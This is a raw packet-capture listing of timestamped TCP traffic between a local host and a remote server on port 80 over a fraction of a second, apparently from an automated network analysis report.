Sep 14, 2024 18:44:13.004775047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004808903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004823923 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.004842043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004875898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.004892111 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.008512020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.008548021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.008579969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.008594036 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.008614063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.008662939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.008676052 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.008697987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.008721113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.008729935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.008765936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.008784056 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.008799076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.008850098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.008858919 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.008883953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.008918047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.008938074 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.008951902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.008986950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009013891 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.009036064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009069920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009093046 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.009102106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009135962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009157896 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.009172916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009207010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009228945 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.009236097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009269953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009304047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009305000 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.009339094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009351969 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.009371996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009406090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009426117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.009455919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009488106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009515047 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.009521961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009553909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009588003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009588957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.009623051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009643078 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.009655952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009687901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009716034 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.009721041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009753942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009777069 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.009787083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009819984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009845018 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.009852886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009885073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009916067 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.009916067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009949923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.009970903 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.009982109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010015011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010039091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.010046959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010081053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010102034 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.010113955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010149002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010166883 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.010180950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010215044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010230064 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.010246992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010281086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010298967 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.010313034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010344028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010361910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.010376930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010411978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010425091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.010445118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010478020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010504007 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.010512114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010545969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010579109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010580063 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.010612011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010632038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.010644913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010679960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010695934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.010713100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010746002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010768890 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.010782957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010816097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010837078 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.010848999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010881901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010911942 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.010915041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010948896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.010973930 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.010998964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011032104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011055946 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.011065006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011097908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011118889 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.011131048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011162996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011188030 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.011195898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011342049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011348009 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.011382103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011434078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011449099 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.011482954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011517048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011535883 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.011549950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011583090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011601925 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.011635065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011665106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011687994 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.011727095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011759996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011790037 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.011810064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011845112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011867046 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.011878014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011910915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011939049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.011945009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011979103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.011998892 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.012012959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012044907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012068033 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.012077093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012113094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012130976 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.012145042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012178898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012201071 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.012212992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012245893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012264013 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.012278080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012311935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012335062 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.012343884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012377024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012394905 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.012409925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012444019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012470961 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.012476921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012509108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012528896 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.012541056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012573004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012598038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.012604952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012638092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012665987 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.012671947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012703896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012726068 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.012736082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012787104 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.012847900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.012897968 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.013195038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.013231039 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.013262033 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.014168978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.014203072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.014238119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.014252901 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.014297962 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.014333963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.014367104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.014399052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.014431953 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.014434099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.014487028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.014487028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.014520884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.014554024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.014573097 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.014588118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.014621019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.014638901 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.014655113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.014688969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.014714003 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.014723063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.014758110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.014774084 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.020000935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020015955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020030022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020044088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020057917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020071983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020087004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020148993 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.020190954 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.020334959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020347118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020358086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020404100 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.020469904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020520926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.020642042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020653963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020663977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020674944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020694017 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.020736933 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.020819902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020831108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020842075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020853043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020864010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020874023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020875931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.020884991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020894051 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.020895958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020909071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020920038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020925045 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.020931005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020942926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.020967007 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020977974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.020982981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.020988941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.021007061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.021017075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.021024942 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.021028042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.021039009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.021050930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.021063089 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.021157980 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.021451950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.021461964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.021471977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.021482944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.021493912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.021505117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.021507025 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.021517038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.021529913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.021533012 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.021541119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.021552086 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.021579981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.021614075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.021626949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.021688938 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.022187948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022200108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022211075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022222042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022233963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022244930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022254944 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.022257090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022268057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022278070 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.022344112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022356033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022366047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022377014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022387981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022387981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.022387981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.022388935 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.022398949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022413015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022423029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022432089 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.022433996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022445917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022459984 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.022481918 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.022500992 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.022500992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022512913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.022555113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.023030996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.023041964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.023051977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.023063898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.023076057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.023087025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.023088932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.023099899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.023111105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.023122072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.023133993 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.023135900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.023145914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.023156881 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.023166895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.023169994 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.023179054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.023190022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.023191929 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.023200989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.023212910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.023224115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.023226976 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.023235083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.023247957 CEST	80	49722	188.114.97.3	192.168.2.6
